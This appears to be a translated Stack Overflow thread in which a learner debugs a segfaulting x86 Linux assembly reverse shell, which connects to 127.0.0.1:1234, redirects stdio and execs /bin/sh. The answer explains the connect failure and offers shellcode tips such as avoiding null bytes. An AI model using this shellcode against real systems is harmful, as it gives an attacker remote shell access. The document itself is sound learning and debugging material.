【问题标题】:segfault reverse shell in linux x86 asmlinux x86 asm中的段错误反向shell
【发布时间】:2021-02-23 12:49:55
【问题描述】:

我正在学习汇编并从 linux x86 开始。我现在正在尝试创建一个反向外壳,但我面临一个段错误,我不知道它在哪里。 这是我的汇编代码:

global _start

section .text
_start:


        ; Création du socket

        push 0x66               ; socketall (102)
        pop eax                 ; clean eax et mis en place socketcall(102)
        push 0x1                ; sys_socket
        pop ebx                 ; clean ebb et mis en place sys_socket (1)
        xor ecx, ecx            ; pour éviter les 0, on xor un registre avec lui-même ce qui donne toujours 0
        push ecx                ; protocole 0 ce qui signifie que le protocole est défini par la machine
        push ebx                ; SOCK_STREAM (1)
        push 0x2                ; AF_INET (2) signifie la prise en charge d'adresse IPV4
        mov ecx, esp            ; pointe ecx en haut de la pile
        int 0x80                ; execution

        mov edi, eax            ; move socket vers edi pour réutilisation


        ; Connection à une adresse IP et un port


        mov al, 0x66            ; socketcall (102) déplacé dans le registre al
        pop ebx                 ; (2)
        push 0x0100007F         ; sin_addr = 127.0.0.1 
        push word 0xd204        ; sin_port = 1234
        push word 0x2           ; AF_INET (2)
        mov ecx, esp            ; pointe ecx en haut de la pile
        push 0x10               ; taille de l'adresse IP
        push ecx                ; pointer vers l'adresse ip
        push edi                ; socket descripteur = permet de stocker les valeurs retournées par le syscall socket et le syscall qui accepte la connexion
        mov ecx, esp            ; pointe ecx en haut de la pile
        inc ebx                 ; SYS_CONNECT (3)
        int 0x80                ; execution


        ; STDIN, STDOUT et STDERR dans notre nouveau socket pour redirection

        xchg ebx, edi           ; save de socketfd dans ebx pour dup2. Xchg permet d'échanger les contenus de la destination (premier registre) et de la source (second registre
        ;dup 2 = créer une copie du file descriptor oldfd en utilisant le numéro spécifié dans newfd. Si le file descriptor newfd était déjà utilisé, cela le ferme avant de pouvoir être utilisé.
        push 0x2
        pop ecx                 ; set ecx à 0

loop:
        mov al, 0x3f            ; dup2 sys call 63 = 0x3f
        int 0x80                ; execution dup2
        dec ecx                 ; décrémentation du compteur de la loop
        jns loop                ; JNS = Jump No Sign (valeur positive) -> tant que SF n'est pas positionné à 1 on jmp à loop
        ; SF = Ce flag est positionné à 1 si la dernière opération a généré un résultat négatif, à 0 s'il est positif ou nul.

        ; Executer /bin/sh

        xor edx, edx            ; set edx à 0
        push edx                ; NULL
        push 0x68732f2f         ; "hs//" reverse order car utilisation de little endian (2 / pour faire 4 octets non nuls)
        push 0x6e69622f         ; "nib/" reverse order car utilisation de little endian
        mov ebx, esp            ; pointe ebx dans la stack c-a-d en haut de la pile
        mov ecx, edx            ; on met ecx à 0
        mov al, 0xb             ; execve = Oxb
        int 0x80                ; execution execve

然后我做了:

nasm -f elf32 tp.asm

然后

ld -m elf_i386 -s -o tp tp.o

当我执行二进制文件时,我得到了错误:分段错误

我尝试用 gdb 调试它,但我不太了解。

gdb tp
(gdb) run
Starting program: /home/nicolas/tp/tp 

Program received signal SIGSEGV, Segmentation fault.
0x0804904d in ?? ()
(gdb) where
#0  0x0804904d in ?? ()

老实说,我现在不知道该怎么办......没有足够的知识去更进一步。 我希望有人可以帮助我。谢谢:)

编辑:

下面是地址0x0804904d对应的指令:

0x804904d   add    %al,(%eax)

我使用了strace,这是输出:

execve("./tp", ["./tp"], 0x7ffe08f13850 /* 49 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connexion refusée)
syscall_0xffffffffffffff3f(0x3, 0x2, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff3f(0x3, 0x1, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff3f(0x3, 0, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
syscall_0xffffffffffffff0b(0xff911f58, 0, 0, 0, 0x3, 0) = -1 ENOSYS (Fonction non implantée)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffda} ---
+++ killed by SIGSEGV +++

【问题讨论】:

  • 除非您显示对应的指令,否则该地址不会告诉我们任何信息。使用例如x/i $pc。也就是说,我猜你的系统调用失败了,你陷入了未初始化的内存。在 gdb 中单步执行或使用 strace 实用程序查看您实际在做什么。
  • 如果connect 失败,eax 将是负数,您只设置al,因此后续系统调用将超出范围。

标签: assembly x86 segmentation-fault system-calls shellcode


【解决方案1】:

您的strace 输出清楚地说明了问题:connect 返回错误代码(在-4095 到-1 之间),因此 EAX 的高字节为0xffffff..。后来mov al, imm81 保持不变,导致 EAX= 无效的系统调用号2。

如果你想让它干净地退出,即使之前的系统调用返回负数,xor eax,eax / inc eax / int 0x80 在最后做一个 SYS_exit。(使用 BL= 1 或某个非零值以非零状态退出)。

或者使用push 0xb / pop eax 为最终的系统调用设置 EAX=SYS_execve,这样 shell 肯定会运行。 (但是没有重定向标准输入,所以这不是很好)。

或者只是习惯于使用strace 作为错误检查,现在您已经了解当系统调用返回值使 EAX 的高字节非零时会发生什么。您可以将 @最后是 987654333@,因此它将以非法指令而不是段错误退出(当执行落入 00 00 add [eax], al 字节时。)

或者,如果你真的想要,为connect 系统调用编写实际的错误检查,检查是否存在负 EAX 并在退出前使用 write 输出错误消息。这在真正的 shellcode 中显然是没有用的,它的标准输出连接到受害者计算机上的某个东西,而不是你的。 connect 是最有可能失败的系统调用,因此除了strace 之外,您仍然可以不检查其他系统调用。


脚注 1:请记住,您使用 mov al, 0xb 而不是 mov eax, 0xb 以避免机器代码中出现零,尽管 push 0x0100007F 不会这样做。 >.

脚注 2:显然 strace 或内核将其符号扩展为 64 位,尽管在 32 位模式下无法访问完整的 RAX。

【讨论】:

  • 非常感谢您的出色回答,现在很清楚了。对于您的脚注 1,我应该对 push 0x0100007F 进行异或运算以避免零吗?现在我必须找出为什么会出现连接错误,但至少我不再有段错误。关于您的脚注 2,您对此行为有任何想法吗?当我使用nasm 或ld 时有什么问题吗?
  • @Darktortue: 1. 当然,mov ecx, 0x0100007F ^ 0x55555555 / xor ecx, 0x55555555 / push ecx 可以解决问题,或者添加偏移量或其他任何东西,如果你想制作没有00字节的机器代码. 2. 您没有做错任何事情,您正在将它链接到一个 32 位可执行文件中。它可能是在 64 位内核上运行的工件,或者可能只是 strace 本身的怪癖或错误,IDK。没什么好担心的。
  • 嘿,几天后打扰了,您知道为什么连接系统调用返回错误吗?我尝试调试了很多,但我真的找不到问题......
  • @Darktortue:可能没有任何东西在您指定的 IP 地址上的 TCP 端口 1234 上进行侦听,或者防火墙规则阻止了必要的数据包。如果您愿意,可以使用netcat (nc) 对其进行测试,但strace 会向您显示与您从 nc 获得的连接错误一样多的信息。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2023-02-20
  • 1970-01-01
  • 2011-12-08
  • 2011-12-30
  • 2011-07-08
  • 2016-02-02
  • 2011-09-13
相关资源
最近更新 更多